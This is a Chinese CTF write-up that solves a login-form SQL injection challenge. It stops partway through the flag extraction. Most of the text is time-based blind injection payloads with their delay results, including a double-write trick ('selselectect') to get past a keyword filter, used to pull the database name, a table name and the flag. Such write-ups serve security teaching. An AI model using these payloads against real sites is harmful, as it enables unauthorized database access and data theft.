[第一章 web入门]SQL注入-2

一、题目初审

题目提示我们访问/login.php或者/user.php。我们直接访问网站的根目录提示Forbidden。因此访问题目给出的两个文件。

/login.php
[第一章 web入门]SQL注入-2插图

访问/login.php得到以上页面。发现是一个登录框。可能此页面就是我们的考点。

继续访问/user.php,之后提示login first。让我们先登录。

直接回到login.php页面,右键查看源代码。观察是否有提示。

发现如下文字:但好像不是提示。我们直接忽略。

[第一章 web入门]SQL注入-2插图1

进入到页面后。我们在登录框中随便输入用户名和密码。观察页面回显。

[第一章 web入门]SQL注入-2插图2

可以发现,页面回显了账号不存在

那么我们尝试将用户名修改为admin

[第一章 web入门]SQL注入-2插图3

发现页面提示账号或密码错误。说明该页面存在用户admin

尝试万能用户名登录,构造payload:

admin' and 1 = 1 #   账号或密码不正确
admin" and 1 = 1 #  账号不存在
admin') and 1 = 1 # 账号不存在

发现均不可以登录成功。但是通过回显结果不同,判断可以使用单引号闭合。

payload为admin' and 1 = 1 # 提示账号或密码不正确,说明我们的sql语句带入到了数据库的查询中。而admin还是admin用户名并不会是”admin' and 1 = 1“用户。而其他的payload就不一样了,他们没有成功闭合,因此他们返回的都是账号不存在。他们传进去用户名是”admin' and 1 = 1“,故而语句报错。查询为空,返回账号不存在。

为了证实我们的猜想。我们再次尝试构造payload:

admin' and 1 = 2 #   // 显示账号不存在

那么为什么账号不存在呢?1 = 2 吗,很显然不等于。那么这个查询就会为空。

看下图:

[第一章 web入门]SQL注入-2插图4

此时你看到这里,如果你不懂为什么 and 1 = 2 返回账号不存在。那么停留下来想一想。对不知道的东西百度一下。

这个注入是不存在union注入、报错注入的。倒是存在时间注入、布尔注入。因为页面并没有查询的数据回显再者页面没有任何报错信息,但是页面回显 账号不存在账号不存在 两种状态。

二、手动注入解题

抓包使用burpsuite进行发包,这样更方便一些。

构造Payload:

name=admin' and if(length(database()) > 3,sleep(6.66),0)#&pass=fasdf
[第一章 web入门]SQL注入-2插图5

可以发现,页面延迟了6.8秒,说明当前数据库的长度大于3。于是延迟了6.8秒(根据网络环境可能会更长),因此我们使用sleep()函数指定了6.66秒,而实际延迟了6.8秒。

PS: 如果你延迟了很久,请留意在payload下方要隔一个空行。

由于布尔盲注,是根据账号不存在 和 账号或密码错误判断的,而他响应的数据包内容,是经过Unicode编码过的。不利于我们的识别。所以下面使用时间注入。通过等待的时间判断语句是否成立。

尝试获取数据库的长度:

name=admin' and if(length(database()) > 4,sleep(1),0)#&pass=fasdf   // 无延迟
name=admin' and if(length(database()) = 4,sleep(1),0)#&pass=fasdf   // 有延迟

通过上方我们可以得知,当前数据库的长度为4位。

尝试获取数据库名:

name=admin' and if(ascii(substr((select database()),1,1)) > 100,sleep(1),0)#&pass=123    // 有延迟
name=admin' and if(ascii(substr((select database()),1,1)) > 110,sleep(1),0)#&pass=123    // 无延迟
name=admin' and if(ascii(substr((select database()),1,1)) > 105,sleep(1),0)#&pass=123    // 有延迟
name=admin' and if(ascii(substr((select database()),1,1)) > 107,sleep(1),0)#&pass=123    // 有延迟
name=admin' and if(ascii(substr((select database()),1,1)) > 109,sleep(1),0)#&pass=123    // 有延迟
name=admin' and if(ascii(substr((select database()),1,1)) = 110,sleep(1),0)#&pass=123    // 有延迟 

通过上方结果可以得知,当前数据库名的第一个字符的ASCII码为110

我们可以使用mysql自带的char()函数将ASCII码转为字符串。当然也可以使用Python的chr()函数。

mysql> select char(110);
+-----------+
| char(110) |
+-----------+
| n         |
+-----------+
1 row in set (0.01 sec)

得到结果。ASCII为110对应的字符串为n,根据之前判断的数据库长度,可知当前使用的数据库长度为4

继续获取数据库名第二个字符的ASCII

name=admin' and if(ascii(substr((select database()),2,1)) > 100,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((select database()),2,1)) > 110,sleep(1),0)#&pass=123    // 有延迟
name=admin' and if(ascii(substr((select database()),2,1)) > 120,sleep(1),0)#&pass=123    // 无延迟
name=admin' and if(ascii(substr((select database()),2,1)) > 115,sleep(1),0)#&pass=123    // 无延迟
name=admin' and if(ascii(substr((select database()),2,1)) > 113,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((select database()),2,1)) > 111,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((select database()),2,1)) = 111,sleep(1),0)#&pass=123  // 有延迟

根据结果得知,当前数据库的第二个字符的ASCII码为111。将其转换为字符串为字母o

继续获取数据库名第三个字符的ASCII

name=admin' and if(ascii(substr((select database()),3,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((select database()),3,1)) > 110,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((select database()),3,1)) > 115,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((select database()),3,1)) > 120,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((select database()),3,1)) > 118,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((select database()),3,1)) > 116,sleep(1),0)#&pass=123  // 无延迟

// 大于115有延迟 大于116无延迟 那么很明显就是 = 116
name=admin' and if(ascii(substr((select database()),3,1)) = 116,sleep(1),0)#&pass=123  // 有延迟

根据结果得知,当前数据库的第三个字符的ASCII码为116。将其转换为字符串为字母t

name=admin' and if(ascii(substr((select database()),4,1)) > 100,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((select database()),4,1)) > 105,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((select database()),4,1)) > 103,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((select database()),4,1)) > 101,sleep(1),0)#&pass=123   // 无延迟

 name=admin' and if(ascii(substr((select database()),4,1)) = 101,sleep(1),0)#&pass=123  // 有延迟

根据结果得知,当前数据库的第四个字符的ASCII码为101。将其转换为字符串为字母e

最终得出当前使用的数据库为 note

尝试获取当前数据库的所有数据库表

name=admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='note' limit 1,1),1,1)) > 0,sleep(1),0)#&pass=123  

发现页面无回显。仔细检查后发现语法并没有错误。初步猜测可能是过滤了某些语句。

于是在登录框中尝试键入 admin select

[第一章 web入门]SQL注入-2插图6

发现页面返回账号或密码错误。而admin database()的时候则直接返回账号不存在。这意味着什么?是不是把我们的select进行了替换呢。将其替换为空,如果将select替换为空。此时我们的用户名就为admin。于是提示账号或密码错误

而为什么admin database()提示账号不存在呢。是因为并没有对database()进行过滤。

所以我们的用户名就为 admin database(),然后数据库并没有这个用户名,故而提示账户不存在

尝试使用双写绕过:

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 100,sleep(1),0)#&pass=123   // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 110,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 105,sleep(1),0)#&pass=123   // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 103,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 101,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) > 102,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),1,1)) = 102,sleep(1),0)#&pass=123   // 有延迟

其实我们不需要猜测数据库的名称和长度。我们将上述语句中的'note'修改为database()。即表示当前的数据库即note

根据上述结果可以得知当前数据库note下的第一个表名的第一个字母的ASCII为102。转为字符为即f

继续猜测当前数据库第一个表名中的第二字母

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) > 100,sleep(1),0)#&pass=123   // 有延迟


name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) > 105,sleep(1),0)#&pass=123   // 有延迟


name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) > 108,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) > 106,sleep(1),0)#&pass=123   // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) > 107,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),2,1)) = 108,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知当前数据库note下的第一个表名的第二个字母的ASCII为108。转为字符为l(不是1)。

继续猜测当前数据库第一个表名中的第三字母:

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 100,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 90,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 50,sleep(1),0)#&pass=123   // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 70,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 65,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 55,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 53,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) > 51,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),3,1)) = 52,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知当前数据库note下的第一个表名的第三个字母的ASCII为52。转为字符为数字4

继续猜测当前数据库第一个表名中的第四字母:

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),4,1)) > 100,sleep(1),0)#&pass=123   // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),4,1)) > 110,sleep(1),0)#&pass=123
   // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),4,1)) > 105,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),4,1)) > 103,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),4,1)) > 102,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where 
table_schema='note' limit 0,1),4,1)) = 103,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知当前数据库note下的第一个表名的第四个字母的ASCII为103。转为字符为字母g

至此当前表名应该猜测完啦。这里再次测试下

name=admin' and if(ascii(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),5,1)) > 0,sleep(1),0)#&pass=123   // 无回显

通过上述结果,得知当前数据库note下的第一个数据表为fl4g。而flag应该就在这个表里面吧。

如果是union注入的话,需要去获取字段数和表名。而我们布尔(时间)注入的话,只需要获取表名就可以啦。

[第一章 web入门]SQL注入-2插图7

可以看到,我们可以直接使用*通配符去选中fl4g的所有列。从而截图第一行中的第一个字符。

继续解题

我们先判断出fl4g表内容的行数。故而进行注入,构造payload:

name=admin' and if(length((SELECT count(*) from fl4g)) > 1,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(length((SELECT count(*) from fl4g)) = 1,sleep(1),0)#&pass=123  // 有延迟

故而可以判断出fl4g表的查询结果为1行。

接着我们判断这行的长度。构造payload:

name=admin' and if(length((SELECT * from fl4g)) > 20,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(length((SELECT * from fl4g)) > 30,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(length((SELECT * from fl4g)) > 25,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(length((SELECT * from fl4g)) > 27,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(length((SELECT * from fl4g)) > 26,sleep(1),0)#&pass=123 // 无延迟

name=admin' and if(length((SELECT * from fl4g)) = 26,sleep(1),0)#&pass=123 // 有延迟

可以判断出fl4g表内容的长度为26个字符。

接着开始获取内容:

name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) > 100,sleep(1),0)#&pass=123  // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) > 105,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) > 110,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) > 107,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) > 109,sleep(1),0)#&pass=123 // 有

name=admin' and if(ascii(substr((SELECT * from fl4g),1,1)) = 110,sleep(1),0)#&pass=123 // 有

根据上述结果可以得知fl4g表中的第一行数据的第一个字符的ASCII码为110。转换为字符为字母n

其实这里的SELECT也可以使用大写进行绕过过滤。

继续猜测第二个字母的ASCII

name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 100,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 80,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 50,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 40,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 40,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 45,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) > 48,sleep(1),0)#&pass=123 // 有

name=admin' and if(ascii(substr((SELECT * from fl4g),2,1)) = 49,sleep(1),0)#&pass=123 // 有

根据上述结果可以得知fl4g表中的第一行数据的第二个字符的ASCII码为49。转换为字符为数字1

组合为n1

继续猜测第三个字母的ASCII

name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) > 100,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) > 90,sleep(1),0)#&pass=123  // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) > 95,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) > 98,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) > 97,sleep(1),0)#&pass=123 // 有

name=admin' and if(ascii(substr((SELECT * from fl4g),3,1)) = 98,sleep(1),0)#&pass=123 // 有

根据上述结果可以得知fl4g表中的第一行数据的第三个字符的ASCII码为98。转换为字符为字母b

组合为n1b

继续猜测第四个字母的ASCII

name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 98,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 105,sleep(1),0)#&pass=123 // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 115,sleep(1),0)#&pass=123
 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 110,sleep(1),0)#&pass=123  // 有
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 113,sleep(1),0)#&pass=123  // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) > 111,sleep(1),0)#&pass=123 // 无
name=admin' and if(ascii(substr((SELECT * from fl4g),4,1)) = 111,sleep(1),0)#&pass=123 // 有

根据上述结果可以得知fl4g表中的第一行数据的第四个字符的ASCII码为111。转换为字符为字母o

组合为n1bo

继续猜测第五个字母的ASCII

name=admin' and if(ascii(substr((SELECT * from fl4g),5,1)) > 100,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),5,1)) > 110,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),5,1)) > 115,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),5,1)) > 112,sleep(1),0)#&pass=123 // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),5,1)) = 111,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第五个字符的ASCII码为111。转换为字符为字母o

组合为n1boo

继续猜测第六个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),6,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),6,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),6,1)) > 107,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),6,1)) > 106,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),6,1)) = 107,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第六个字符的ASCII码为107。转换为字符为字母k

组合为n1book

继续猜测第七个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 100,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 115,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 125,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 120,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 123,sleep(1),0)#&pass=123 // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 121,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) > 122,sleep(1),0)#&pass=123 // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),7,1)) = 123,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第七个字符的ASCII码为123。转换为字符为{

组合为n1book{

继续猜测第八个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) > 110,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) > 107,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) > 108,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),8,1)) = 108,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第八个字符的ASCII码为108。转换为字符字母l

组合为n1book{l

继续猜测第九个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) > 110,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) > 115,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) > 113,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) > 111,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),9,1)) = 111,sleep(1),0)#&pass=123
  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第九个字符的ASCII码为111。转换为字符字母o

组合为n1book{lo

继续猜测第十个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 111,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 105,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 103,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 101,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) > 102,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),10,1)) = 103,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十个字符的ASCII码为103。转换为字符字母g

组合为n1book{log

继续猜测第十一个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) > 103,sleep(1),0)#&pass=123   // 有延时
name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) > 110,sleep(1),0)#&pass=123
   // 无延时
name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) > 107,sleep(1),0)#&pass=123   // 无延时
name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) > 105,sleep(1),0)#&pass=123   // 无延时
name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) > 104,sleep(1),0)#&pass=123   // 有延时

name=admin' and if(ascii(substr((SELECT * from fl4g),11,1)) = 105,sleep(1),0)#&pass=123   // 有延时

根据上述结果可以得知fl4g表中的第一行数据的第十一个字符的ASCII码为105。转换为字符字母i

组合为n1book{logi

继续猜测第十二个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),12,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),12,1)) > 110,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),12,1)) > 107,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),12,1)) > 109,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),12,1)) = 110,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十二个字符的ASCII码为110。转换为字符字母n

组合为n1book{login

继续猜测第十三个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 110,sleep(1),0)#&pass=123   // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 100,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 80,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 95,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 90,sleep(1),0)#&pass=123
  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 93,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) > 94,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),13,1)) = 95,sleep(1),0)#&pass=123  // 有延迟 

根据上述结果可以得知fl4g表中的第一行数据的第十三个字符的ASCII码为95。转换为字符_

组合为n1book{login_

继续猜测第十四个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 95,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 110,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 120,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 113,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 115,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) > 114,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),14,1)) = 115,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十四个字符的ASCII码为115。转换为字符字母s

组合为n1book{login_s

继续猜测第十五个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 115,sleep(1),0)#&pass=123
  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 110,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 113,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 111,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) > 112,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),15,1)) = 113,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十五个字符的ASCII码为113。转换为字符字母q

组合为n1book{login_sq

继续猜测第十六个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) > 113,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) > 105,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) > 107,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) > 108,sleep(1),0)#&pass=123  // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),16,1)) = 108,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十六个字符的ASCII码为108。转换为字符字母l

组合为n1book{login_sql

继续猜测第十七个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),17,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),17,1)) > 105,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),17,1)) > 103,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),17,1)) > 104,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),17,1)) = 105,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十七个字符的ASCII码为105。转换为字符字母i

组合为n1book{login_sqli

继续猜测第十八个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) > 105,sleep(1),0)#&pass=123 // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) > 95,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) > 85,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) > 93,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) > 94,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),18,1)) = 95,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十八个字符的ASCII码为95。转换为字符_

组合为n1book{login_sqli_

继续猜测第十九个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) > 95,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) > 105,sleep(1),0)#&pass=123 // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) > 103,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) > 104,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) = 105,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),19,1)) = 105,sleep(1),0)#&pass=123 // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第十九个字符的ASCII码为105。转换为字符i

组合为n1book{login_sqli_i

继续猜测第二十个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) > 105,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) > 115,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) > 110,sleep(1),0)#&pass=123  // 有延迟
